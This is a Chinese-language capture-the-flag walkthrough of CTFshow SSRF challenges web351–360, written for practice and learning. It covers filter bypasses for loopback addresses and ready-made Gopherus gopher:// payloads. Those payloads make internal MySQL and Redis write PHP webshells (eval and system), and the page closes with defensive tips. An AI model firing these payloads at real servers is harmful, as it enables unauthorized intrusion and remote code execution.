CTFshow SSRF漏洞系列题目解析与利用

SSRF基础概念

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。由于请求由服务端发起，它能够访问与服务器相连但外网无法访问的内部系统。

web351 - 基础SSRF利用

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

关键函数解析:

• curl_init(): 初始化cURL会话
• curl_setopt(): 设置cURL传输选项
  • CURLOPT_HEADER: 启用时会将头文件信息作为数据流输出
  • CURLOPT_RETURNTRANSFER: 将获取的信息以文件流形式返回而非直接输出
• curl_exec(): 执行cURL会话
• curl_close(): 关闭cURL会话

利用方法:
直接构造POST请求访问本地flag.php:

POST数据: url=http://127.0.0.1/flag.php

web352 - 基础过滤绕过

<?php
// ... 省略部分代码 ...
if(!preg_match('/localhost|127.0.0/')){
    // ... curl请求 ...
}else{
    die('hacker');
}

绕过方法:

1. 使用http://localhost/flag.php
2. 使用http://127.0.0.1/flag.php
3. 其他IP表示方式:
   • 127.0.1
   • 127.1
   • 0x7F.0.0.1 (十六进制)
   • 0177.0.0.1 (八进制)

web353 - 加强过滤

if(!preg_match('/localhost|127\.0\.|\。/i', $url)){

绕过方法:

1. http://127.1/flag.php
2. http://0x7F.0.0.1/flag.php
3. http://0177.0.0.1/flag.php

web354 - 数字过滤

if(!preg_match('/localhost|1|0|。/i', $url)){

绕过方法:

1. 使用域名解析:
   • 将自己的域名A记录指向127.0.0.1
   • 示例: http://sudo.cc/ (已知指向127.0.0.1)
2. 302跳转:

   header("Location: http://127.0.0.1/flag.php");
   

   然后访问自己的跳转脚本

web355 - 主机名长度限制

$host=$x['host'];
if((strlen($host)<=5)){

绕过方法:
使用短IP表示: http://127.1/flag.php (正好5字符)

web356 - 更严格长度限制

if((strlen($host)<=3)){

绕过方法:
Linux系统中0会解析成127.0.0.1:

url=http://0/flag.php

web357 - IP验证

$ip = gethostbyname($x['host']);
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}

绕过方法:
使用域名解析+302跳转:

1. 将域名解析到自己的VPS
2. VPS上设置跳转脚本:

header("Location: http://127.0.0.1/flag.php");

web358 - 正则限制

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

绕过方法:
利用URL解析特性:

url=http://ctf.@127.0.0.1/flag.php?show

web359 - MySQL攻击

利用工具: Gopherus

攻击步骤:

1. 生成MySQL攻击payload:

python gopherus.py --exploit mysql

2. 输入MySQL用户名(如root)和要执行的SQL:

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/ma.php';

3. 将生成的gopher链接URL编码后提交:

returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%256d%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

4. 访问生成的ma.php获取shell

web360 - Redis攻击

利用工具: Gopherus

攻击步骤:

1. 生成Redis攻击payload:

python gopherus.py --exploit redis

2. 选择PHPshell,设置web根目录(默认/var/www/html)和PHP payload
3. 将生成的gopher链接提交:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2424%0D%0A%0A%0A%3C%3F%3Dsystem%28%27ls%20/%27%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

4. 访问生成的shell.php获取webshell

总结

SSRF漏洞利用的关键点:

1. 识别服务器端请求功能
2. 绕过各种过滤限制(IP表示、域名长度、正则等)
3. 利用协议扩展攻击面(gopher://等)
4. 结合其他服务(MySQL、Redis等)进行深入利用

防护建议:

1. 严格校验用户输入的URL
2. 禁用不必要的协议(如gopher://)
3. 设置请求白名单
4. 对内部请求进行身份验证